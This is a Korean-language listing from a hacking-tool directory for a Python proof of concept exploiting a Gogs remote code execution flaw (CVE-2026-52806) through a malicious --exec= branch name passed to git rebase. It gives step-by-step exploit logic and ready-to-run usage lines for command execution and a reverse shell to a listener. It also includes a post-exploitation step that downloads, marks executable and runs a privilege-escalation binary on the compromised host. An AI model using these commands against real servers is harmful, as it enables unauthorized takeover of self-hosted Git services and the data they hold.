Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-52806 — git rebase의 인자 주입을 통한 Gogs RCE (CWE-88) — Python PoC. CVE-2026-52806 | Kitploit
도구/GitHubGitHub/portbuster1337/cve-2026-52806
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingCommand and ControlLearning & EducationPayload Development
GitHubportbuster1337/cve-2026-52806
6132개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-52806

git rebase의 인자 주입을 통한 Gogs RCE (CWE-88) — Python PoC. CVE-2026-52806

저장소 보기웹사이트

Gogs RCE — git rebase 인수 주입 (CWE-88)

Gogs(<= 0.14.2 및 0.15.0+dev)에서 풀 리퀘스트 병합 흐름의 인수 주입을 통한 인증된 원격 코드 실행.

CVE-2026-52806

취약점

internal/database/pull.go의 Merge() 함수는 PR 베이스 브랜치 이름을 git rebase에 -- 구분자 없이 전달합니다. --exec=<COMMAND>라는 이름의 브랜치는 Git에서 위치 인수 대신 --exec 플래그로 해석되며, 리베이스 중 재생된 각 커밋 후에 sh -c <COMMAND>가 실행됩니다.

익스플로잇 작동 방식

  1. 사전 점검 — 대상이 Gogs를 실행 중인지 확인하고, 정적 자산의 ?v= 매개변수를 통해 버전을 식별하며, 사용자 등록이 열려 있는지, 캡차로 보호되는지, 비활성화되었는지 확인합니다.
  2. 인증 — 자격 증명이 제공되지 않으면 자동 등록(캡차 없음)을 시도하고, 캡차가 활성화된 경우 대상의 가입 페이지에서 계정을 만든 후 -u <username> -pw <password>로 다시 실행하라는 메시지를 출력합니다. Basic auth 또는 웹 설정 페이지를 통해 API 토큰을 생성합니다.
  3. 저장소 설정 — Gogs API를 통해 임시 비공개 저장소를 만들고 설정에서 병합 전 리베이스를 활성화합니다.
  4. Git 브랜치 조작 — 로컬에서 git 저장소를 초기화하고 다음을 푸시합니다:
    • README가 있는 master 브랜치
    • 분기 커밋이 있는 feature-* 브랜치
    • 공격자의 명령을 백그라운드에서 실행하는 스크립트가 포함된 --exec=sh${IFS}.payload라는 이름의 악성 브랜치
  5. 풀 리퀘스트 — feature 브랜치에서 악성 --exec= 브랜치로 PR을 엽니다.
  6. 트리거 — merge_style=rebase_before_merging으로 병합 엔드포인트에 POST를 보냅니다. Gogs는 내부적으로 git rebase --exec=sh${IFS}.payload를 실행하여 재생된 각 커밋 후에 페이로드를 실행합니다.
  7. 정리 — 임시 저장소와 로컬 임시 파일을 삭제합니다.

요구 사항

  • Python 3.6+
  • requests (pip install requests)
  • 로컬 git 설치

사용법

root@kitploit:~
python3 gogs.py <target> [options]

사전 점검

root@kitploit:~
python3 gogs.py http://target:3000 --preflight-only

보고 내용:

  • Registration: ENABLED (no captcha) — 자동 등록 가능
  • Registration: ENABLED (CAPTCHA DETECTED) — 대상의 가입 페이지에서 수동으로 계정을 만든 후 -u / -pw로 자격 증명 제공
  • Registration: DISABLED — 관리자의 기존 자격 증명 필요

익스플로잇 실행

root@kitploit:~
# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

옵션

사후 익스플로잇

대상에서 셸을 획득하면 Gogs 프로세스는 일반적으로 낮은 권한의 사용자(예: Docker의 git)로 실행됩니다. root로 권한 상승을 시도하려면 프로젝트의 릴리스 페이지에서 lpe-toolkit 바이너리를 다운로드하여 실행하세요:

root@kitploit:~
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

이 툴킷은 커널 익스플로잇, 잘못된 설정 및 기타 일반적인 권한 상승 벡터를 열거합니다.

참고 자료

  • Rapid7 블로그 게시물 — Gogs의 인수 주입을 통한 인증된 RCE (패치되지 않음)
  • Metasploit 모듈 — Rapid7의 exploit/multi/http/gogs_rebase_rce Jonah Burgess(CryptoCat) 작성 (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

이 Python PoC는 공개된 Metasploit 모듈에서 영감을 받았습니다. 이 취약점은 Rapid7의 Jonah Burgess(CryptoCat)가 발견하여 책임 있게 공개했습니다.

면책 조항

이 도구는 교육 목적과 승인된 보안 테스트에만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 이 소프트웨어로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

참고 사항

Gogs API는 토큰 삭제를 지원하지 않으므로 익스플로잇 중에 생성된 모든 API 액세스 토큰은 유지되며 대상 인스턴스의 /user/settings/applications에서 수동으로 제거해야 합니다.

도구 다운로드
Flag설명
target호스트[:포트] (예: 47.109.58.140:9000)
-p, --portHTTP 포트 (기본값: 3000)
-u, --usernameGogs 사용자 이름
-pw, --passwordGogs 비밀번호
--cookie세션 쿠키 문자열
--cmd대상에서 실행할 명령
--listener리버스 셸 host:port
--lhost / --lport리버스 셸 호스트 및 포트
--sslHTTPS 사용
--preflight-only사전 점검만 실행